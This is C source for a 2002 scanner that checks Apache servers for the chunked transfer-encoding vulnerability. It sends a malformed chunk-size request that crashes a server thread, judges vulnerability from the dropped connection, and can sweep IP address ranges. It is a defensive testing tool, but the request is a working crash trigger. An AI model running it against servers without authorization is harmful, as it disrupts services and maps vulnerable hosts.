Apache Chunked Transfer vulnerability scanner. Does not check the banner - crashes a thread and watches the web server behavior.
5ec9ea94220b349493641c961822ad2357bd777cefa64c0475984be489520468
/*
* ------------------------------------------------------------------
* N-Stalker Apache Chunked Transfer Vulnerability Scanner - Jun/2002
* By Thiago Zaninotti <tmzani@nstalker.com>
* ------------------------------------------------------------------
*
* This software will test your web server against the newest Apache's
* vulnerability -- the Chunked Transfer vulnerability.
*
* By not handling adequately a signed int value received by the http
* client, the web server might provide an incorrect value as the
* length parameter to a memcpy call.
*
* Please, refer to:
* http://httpd.apache.org/info/security_bulletin_20020620.txt
* http://www.cert.org/advisories/CA-2002-17.html
*
* Check the latest version of N-Stealth HTTP Security Scanner at
* http://www.nstalker.com/nstealth
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE N-STALKER OR ITS CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
* OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdarg.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <setjmp.h>
#define GRL_ERROR -1
#define TCP_SEND_TIMEOUT 6
#define TCP_READ_TIMEOUT 6
#define TIME_OUT 5
#define BUFFER_SIZE 512
#define VULNERABLE 0
#define NOT_VULNERABLE 1
#define MAY_BE_VULNERABLE 2
char legal[]="------------------------------------------------------------\n"
"This program has been released under the public domain terms.\n"
"N-Stalker does not provide any support or shall take any\n"
"responsability on its usage.\n"
"http://www.nstalker.com - Any comments: contact@nstalker.com\n"
"------------------------------------------------------------\n"
"\nTHIS TOOL SHOULD NOT BE USED WITHOUT PRIOR AUTHORIZATION\n";
const char request[] = "POST /authorized.html HTTP/1.0\nHost: authorized-one\n"
"X-Legal-Warn: This host is being tested against the Apache Chunked Transfer Vulnerability\n"
"Transfer-Encoding: Chunked\n\nffffff555\nThis is a test\n0\r\n\r\n";
sigjmp_buf env;
void
output ( char *fmt, ...)
{
va_list str;
va_start ( str, fmt);
vfprintf ( stderr, fmt, str);
va_end ( str);
}
void
fatal ( char *fmt, ...)
{
va_list str;
va_start ( str, fmt);
vfprintf ( stderr, fmt, str);
va_end ( str);
exit ( -1);
}
void
time_out ( void)
{
output ( "+ Time out: Connection to the server has failed!\n");
siglongjmp ( env, 1);
}
unsigned int
tcp_send ( int fd, char * data, int len)
{
int n;
fd_set wfds;
struct timeval tv;
FD_ZERO ( &wfds);
FD_SET ( fd, &wfds);
// timeout
tv.tv_sec = TCP_SEND_TIMEOUT;
tv.tv_usec = 0;
n = select ( fd + 1, NULL, &wfds, NULL, &tv);
if ( n > 0)
{
n = write ( fd, data, len);
return n;
}
else
return ( -1);
}
int
tcp_connect ( unsigned char * host, int port)
{
struct sockaddr_in sa;
int sk, value=0;
sk = socket ( AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr ( host);
sa.sin_port = htons ( port);
if ( sa.sin_addr.s_addr == INADDR_NONE)
fatal ( "+ Please, check the host argument. Host <%s> does not seem to exist!\n", host);
if ( sigsetjmp ( env, 1))
return -1;
alarm (TIME_OUT);
value = connect ( sk, (struct sockaddr *) &sa, sizeof(sa));
alarm (0);
if ( value == 0)
return sk;
else
return value;
}
int
test_return ( int fd)
{
int sel, n, size=0;
fd_set rfds;
struct timeval tv;
char localBuf[2048];
FD_ZERO ( &rfds);
FD_SET ( fd, &rfds);
// timeout
tv.tv_sec = TCP_READ_TIMEOUT;
tv.tv_usec = 0;
sel = select ( fd + 1, &rfds, NULL, NULL, &tv);
if ( sel <= 0)
return MAY_BE_VULNERABLE;
memset ( &localBuf, 0, sizeof ( localBuf));
n = read ( fd, localBuf, sizeof ( localBuf));
if ( n <= 0)
return VULNERABLE;
else
return NOT_VULNERABLE;
}
unsigned long
name2ip ( unsigned char * host)
{
struct hostent *h;
unsigned long addr;
h = gethostbyname ( host);
if (!h) {
if ( (addr = (long) inet_addr ( host)) == INADDR_NONE)
return -1;
else
return addr;
}
else
memcpy ( (char *)&addr, h->h_addr, h->h_length);
return addr;
}
int
main ( int argc, char *argv[])
{
struct sockaddr_in sa;
unsigned char *buf, *ptr;
int fd, value, x, num_vuln=0, num_scanned=0;
unsigned int low=0, high=0;
char host_fmt[255], host[255], *ptr_arg;
signal ( SIGALRM, (void *) time_out);
output ("\nN-STALKER's Apache Chunked Vulnerability Scanner v1.0 (Jun/2002)\n%s\n", legal);
if ( argc < 3)
fatal ( "+ Usage: nstalker-apache <range> <port> (where range is 192.168.1.1-100) or\n"
" nstalker-apache <ip|host> <port> (ex: www.nstalker.com 80)\n\n");
memset ( &host_fmt, 0, sizeof host_fmt); memcpy ( &host_fmt, argv[1], strlen ( argv[1]));
if ( ptr_arg = (char *) strchr ( host_fmt, '-'))
{
*ptr_arg = '\0'; ptr_arg++; high = (unsigned int)atoi ( ptr_arg);
}
if ( ptr_arg = (char *) strrchr ( host_fmt, '.'))
{
ptr_arg++; low = (unsigned int)atoi ( ptr_arg);
if ( low > 0) *ptr_arg = '\0';
}
if ( high == 0) high = low;
for ( x = low; x <= high; x++)
{
memset ( &host, 0, sizeof host);
if ( low == 0)
{
struct in_addr in;
in.s_addr = name2ip ( host_fmt);
snprintf ( host, sizeof host, "%s", inet_ntoa ( in));
}
else
snprintf ( host, sizeof host, "%s%d", host_fmt, x);
output ( "\n++ Scanning <%s>\n", host);
if ( (fd = tcp_connect ( host, atoi ( argv[2]))) < 0)
{
output ( "+ Cannot connect to http://%s:%d\n", host, atoi ( argv[2]));
goto close_sock;
}
ptr = buf = (char *) malloc ( BUFFER_SIZE); memset ( buf, 0, BUFFER_SIZE-1);
memcpy ( ptr, request, strlen ( request)); ptr+=strlen ( request);
if ( tcp_send ( fd, buf, strlen ( buf)) <= 0)
{
output ( "+ Cannot send data to http://%s:%d\n", host, atoi ( argv[2]));
goto close_sock;
}
value = test_return (fd);
if ( value == NOT_VULNERABLE)
output ( "+ This server is not vulnerable to the Chunked Transfer vulnerability\n");
else
if ( value == VULNERABLE)
{
num_vuln++;
output ( "+ This server IS vulnerable to the Chunked Transfer vulnerability.\n"
"+ Please, check the latest version of apache at http://httpd.apache.org\n");
}
else
output ( "+ I was not able to detect the vulnerability as the connection time out.\n"
"+ Please, try again the tool against your web server or check its availability.\n");
num_scanned++;
close_sock:
close ( fd);
}
output ( "\n------------------------------------------"
"\nNumber of hosts sucessfully scanned: %d", num_scanned);
output ( "\nNumber of vulnerable hosts: %d", num_vuln);
output ( "\n------------------------------------------\n\n");
output ( "+ This tool is a cortesy of N-Stalker (http://www.nstalker.com)\n\n");
}